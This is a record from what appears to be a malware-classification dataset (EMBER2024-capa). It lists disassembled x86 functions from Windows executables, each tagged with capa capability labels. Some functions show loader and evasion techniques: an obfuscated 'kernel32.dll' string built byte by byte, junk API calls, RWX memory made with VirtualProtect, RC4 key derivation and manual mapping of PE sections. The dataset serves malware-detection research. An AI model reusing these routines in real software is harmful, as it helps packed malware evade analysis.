joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46241c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x46244a
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x462451
cmp ebx, dword [eax + 4]
jae 0x462451
xor eax, eax
jmp 0x462641
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x462462
xor eax, eax
inc eax
jmp 0x462640
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x462478
cmp ecx, edx
jae 0x4625bd
cmp dword [eax + 4], 0
je 0x462481
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x462469
cmp dword [ebp + 8], 0
je 0x4624a3
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4625bd
cmp eax, esi
jae 0x4625bd
mov eax, dword [0x475ed8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4624c8
cmp dword [esi*4 + 0x475ee0], edi
je 0x4625c1
inc esi
cmp esi, eax
jl 0x4624b6
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x46263d
cmp dword [ebp - 8], 0x1000000
jne 0x46263d
test byte [ebp - 0xc], 0xcc
je 0x462546
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x46263d
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x46263d
cmp word [eax + 0x18], 0x10b
jne 0x46263d
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x46263d
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x462546
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x462546
test byte [ecx + 0x27], 0x80
jne 0x4625bd
push 1
push 0x475f20
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x46245a
mov ecx, dword [0x475ed8]
test ecx, ecx
mov edx, ecx
jle 0x46257a
lea eax, [ecx*4 + 0x475edc]
cmp dword [eax], edi
je 0x46257a
dec edx
sub eax, 4
test edx, edx
jg 0x46256e
test edx, edx
jne 0x4625ab
push 0xf
pop ebx
cmp ecx, ebx
jg 0x462587
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x46259f
lea eax, [edx*4 + 0x475ee0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x46258d
cmp ecx, 0x10
jge 0x4625ab
inc ecx
mov dword [0x475ed8], ecx
push 0
push 0x475f20
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x46245a
xor eax, eax
jmp 0x462640
test esi, esi
jle 0x46245a
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x475f20
call ebx
test eax, eax
jne 0x46245a
cmp dword [esi*4 + 0x475ee0], edi
je 0x462617
mov eax, dword [0x475ed8]
lea esi, [eax - 1]
test esi, esi
jl 0x462605
cmp dword [esi*4 + 0x475ee0], edi
je 0x462601
dec esi
jns 0x4625f5
test esi, esi
jge 0x462615
cmp eax, 0x10
jge 0x462610
inc eax
mov dword [0x475ed8], eax
lea esi, [eax - 1]
jmp 0x462617
je 0x46262f
xor ecx, ecx
test esi, esi
jl 0x46262f
lea eax, [ecx*4 + 0x475ee0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x46261d
push 0
push 0x475f20
call ebx
jmp 0x46245a
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x462645
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x475f24], ebx
push esi
push edi
jne 0x4626c5
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x462700
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x475f24], eax
je 0x462700
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x475f28], eax
call esi
cmp dword [0x475b1c], 2
mov dword [0x475f2c], eax
jne 0x4626c5
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x475f34], eax
je 0x4626c5
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x475f30], eax
mov eax, dword [0x475f30]
test eax, eax
je 0x46270a
call eax
test eax, eax
je 0x4626f1
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x475f34]
test eax, eax
je 0x4626f1
test byte [ebp - 8], 1
jne 0x46270a
cmp dword [0x475b28], 4
jb 0x462704
or byte [ebp + 0x12], 0x20
jmp 0x462729
xor eax, eax
jmp 0x462739
or byte [ebp + 0x12], 4
jmp 0x462729
mov eax, dword [0x475f28]
test eax, eax
je 0x462729
call eax
mov ebx, eax
test ebx, ebx
je 0x462729
mov eax, dword [0x475f2c]
test eax, eax
je 0x462729
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x475f24]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4630be
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x4680b0
call fcn.0045c8f0
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x475f64], edi
jne 0x463102
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4630ed
mov dword [0x475f64], ebx
jmp 0x463102
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x463102
mov dword [0x475f64], 2
mov eax, dword [0x475f64]
cmp eax, ebx
jne 0x463122
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x4631e5
cmp eax, 2
je 0x46312b
cmp eax, edi
jne 0x463153
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x46313e
mov eax, dword [0x475e84]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x46315a
xor eax, eax
jmp 0x4631e5
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.0045ca50
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x46318d
cmp esi, edi
jne 0x4631a3
push dword [ebp - 0x20]
call fcn.00457248
pop ecx
mov esi, eax
cmp esi, edi
je 0x463153
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x4631d6
cmp dword [ebp + 0x14], edi
jne 0x4631c0
push edi
push edi
jmp 0x4631c6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x4631e2
push esi
call fcn.004555e7
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.0045c92b
ret
Function at 0x4631ee
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x4680c0
call fcn.0045c8f0
xor esi, esi
cmp dword [0x475f68], esi
jne 0x463232
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x46321d
mov dword [0x475f68], edi
jmp 0x463232
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x463232
mov dword [0x475f68], 2
mov eax, dword [0x475f68]
cmp eax, 2
je 0x463313
cmp eax, esi
je 0x463313
cmp eax, 1
jne 0x463277
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x463260
mov eax, dword [0x475e84]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x46327e
xor eax, eax
jmp 0x463325
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.0045ca50
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x4632b4
cmp edi, esi
jne 0x4632cf
lea eax, [ebx + ebx]
push eax
call fcn.00457248
pop ecx
mov edi, eax
cmp edi, esi
je 0x463277
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x463302
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x4632ec
push esi
push esi
jmp 0x4632f2
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x46330e
push edi
call fcn.004555e7
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x463325
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.0045c92b
ret
Function at 0x46332e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
cmp esi, dword [0x476284]
push edi
jae 0x463503
mov eax, esi
sar eax, 5
lea edi, [eax*4 + 0x4762a0]
mov eax, dword [edi]
and esi, 0x1f
shl esi, 3
add eax, esi
mov dl, byte [eax + 4]
test dl, 1
je 0x463503
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov ebx, dword [ebp + 0xc]
mov ecx, ebx
je 0x4633d9
test dl, 2
jne 0x4633d9
test dl, 0x48
je 0x4633a3
cmp byte [eax + 5], 0xa
je 0x4633a3
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea ecx, [ebx + 1]
mov dword [ebp - 0xc], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push ecx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4633ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop ecx
cmp eax, ecx
jne 0x4633d4
mov dword [0x475b14], ecx
jmp 0x46350a
cmp eax, 0x6d
jne 0x4633e0
xor eax, eax
jmp 0x463517
push eax
call fcn.00462f0a
pop ecx
jmp 0x463514
mov eax, dword [ebp - 0x10]
mov ecx, dword [edi]
add dword [ebp - 0xc], eax
test byte [ecx + esi + 4], 0x80
je 0x4634fe
test eax, eax
je 0x463413
cmp byte [ebx], 0xa
jne 0x463413
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x46341c
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jae 0x4634f8
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x1a
je 0x4634e8
cmp al, 0xd
je 0x46344e
mov byte [ebx], al
inc ebx
inc dword [ebp - 8]
jmp 0x4634da
dec ecx
cmp dword [ebp - 8], ecx
jae 0x463468
mov eax, dword [ebp - 8]
inc eax
cmp byte [eax], 0xa
jne 0x463463
add dword [ebp - 8], 2
jmp 0x4634bc
mov dword [ebp - 8], eax
jmp 0x4634d6
inc dword [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x463490
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4634d6
cmp dword [ebp - 0x10], 0
je 0x4634d6
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x4634b1
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x4634bc
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x4634d9
cmp ebx, dword [ebp + 0xc]
jne 0x4634c1
cmp byte [ebp - 1], 0xa
jne 0x4634c1
mov byte [ebx], 0xa
jmp 0x4634d9
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00460476
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x4634da
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
jb 0x463432
jmp 0x4634f8
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x4634f8
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp - 0xc]
jmp 0x463517
and dword [0x475b14], 0
mov dword [0x475b10], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403a62
Capabilities:
Allocate or change rwx memory
Read .ini file

Disassembly:
mov eax, 0x447ce3
call fcn.00447bf0
sub esp, 0xf4
push ebx
push esi
mov eax, 0xb2d3b
add dword [0x487314], eax
xor ebx, ebx
cmp dword [0x487314], 0x20a
jne 0x403af2
push edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_MapWindowPoints]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x402c08
push ebx
push 0x402c2c
push 0x402c54
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
call fcn.00403040
lea eax, [ebp - 0x38]
call fcn.00403d1c
push ebx
mov dword [ebp - 4], ebx
call fcn.00404bb1
push ebx
push ebx
push ebx
call fcn.004051ad
or dword [ebp - 4], 0xffffffff
add esp, 0x10
lea edi, [ebp - 0x38]
call fcn.00403d41
pop edi
xor eax, eax
cmp eax, 0xf027935
jg 0x403b03
inc eax
cmp eax, 0x736251e2
jl 0x403af4
push 0x45ab08
mov byte [0x45ab0d], 0x6c
mov byte [0x45ab0f], 0x32
mov byte [0x45ab10], 0x2e
mov byte [0x45ab0b], 0x6e
mov byte [0x45ab0c], 0x65
mov byte [0x45ab11], 0x64
mov byte [0x45ab0e], 0x33
mov byte [0x45ab12], 0x6c
mov byte [0x45ab13], 0x6c
mov byte [0x45ab14], bl
mov byte [0x45ab08], 0x6b
mov byte [0x45ab09], 0x65
mov byte [0x45ab0a], 0x72
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x487314]
mov dword [0x487284], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x487314]
mov dword [0x487280], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x45503c]
xor esi, esi
mov dword [0x4873ec], eax
cmp dword [0x487314], ebx
jbe 0x403bf5
mov eax, dword [0x4873ec]
mov dword [ebp - 0x14], eax
mov eax, 0xb2d3b
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax + esi]
mov ecx, dword [0x487280]
mov byte [ecx + esi], al
cmp dword [0x487314], 0x44
jne 0x403bec
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalShrink]
push ebx
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
inc esi
cmp esi, dword [0x487314]
jb 0x403ba6
call fcn.004039c4
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
cmp esi, 0x770e
jne 0x403c19
call fcn.00403a3c
inc esi
cmp esi, 0x286c535
jl 0x403bfc
push 0x7b
pop esi
cmp dword [0x487314], 0xd
jne 0x403c5a
push 0x30
lea eax, [ebp - 0x68]
push ebx
push eax
mov dword [ebp - 0x6c], ebx
call fcn.00405d50
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push 0x402c98
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec esi
jne 0x403c25
call fcn.00403a56
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40598b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x454168]
jne 0x405995
repz ret
jmp fcn.0040c73c
Function at 0x40104b
Capabilities:
Encrypt data using rc4 via winapi
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x20
push 0
push 0x40ceb8
call fcn.00402b00
add esp, 0xc
mov ecx, 0x40cee0
call fcn.004015c0
push eax
push 0x40ceb8
call fcn.00402a10
add esp, 8
push 0x40ceb8
call fcn.00402990
add esp, 4
mov dword [ebp - 4], eax
push 0xf0000000
push 1
push 0
push 0
push 0x40ced8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4010a6
xor eax, eax
jmp 0x401114
push 0x40ceb0
push 0
push 0
push 0x8003
mov eax, dword [0x40ced8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4010c8
xor eax, eax
jmp 0x401114
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x40ceb8
mov edx, dword [0x40ceb0]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4010e8
xor eax, eax
jmp 0x401114
push 0x40ceb4
push 1
mov eax, dword [0x40ceb0]
push eax
push 0x6801
mov ecx, dword [0x40ced8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x40110f
xor eax, eax
jmp 0x401114
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401d5b
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
xor ecx, ecx
mov cx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
jmp 0x401d9c
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x28
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x14], ecx
jge 0x401e4f
mov edx, dword [ebp - 8]
cmp dword [edx + 0x10], 0
jne 0x401e03
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jle 0x401e01
push 4
push 0x1000
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.00402b00
add esp, 0xc
jmp 0x401d8a
push 4
push 0x1000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00402bb0
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
jmp 0x401d8a
mov esp, ebp
pop ebp
ret
Function at 0x401e53
Capabilities:
Enumerate pe sections
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 0x14]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x401e8b
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 8], edx
jge 0x401fa7
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x20000000
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x40000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x80000000
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x2000000
test ecx, ecx
je 0x401f0b
push 0x4000
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x401e79
mov eax, dword [ebp - 0x10]
shl eax, 4
mov ecx, dword [ebp - 0x20]
lea edx, [eax + ecx*8 + 0x40c14c]
mov eax, dword [ebp - 0xc]
mov ecx, dword [edx + eax*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x4000000
test eax, eax
je 0x401f3c
mov ecx, dword [ebp - 0x18]
or ch, 2
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401f80
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x40
test edx, edx
je 0x401f65
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
jmp 0x401f80
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x80
test ecx, ecx
je 0x401f80
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x24]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
jbe 0x401fa2
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x401e79
mov esp, ebp
pop ebp
ret
Function at 0x406621
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c3c8
cmp edx, dword [eax]
je 0x406643
add eax, 8
inc ecx
cmp eax, 0x40c458
jl 0x406634
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c3c8]
jne 0x406771
mov eax, dword [0x40cf18]
cmp eax, 1
je 0x40674b
test eax, eax
jne 0x406674
cmp dword [0x40c204], 1
je 0x40674b
cmp edx, 0xfc
je 0x406771
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4066ab
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402a10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402990
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4066ee
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402990
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40a5cc
push edi
call fcn.00407a20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402a10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402a20
lea eax, [ebp - 0xa0]
push 0x40a5ac
push eax
call fcn.00402a20
push dword [esi + 0x40c3cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402a20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407991
add esp, 0x2c
pop edi
jmp 0x406771
lea eax, [ebp + 8]
lea esi, [esi + 0x40c3cc]
push 0
push eax
push dword [esi]
call fcn.00402990
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret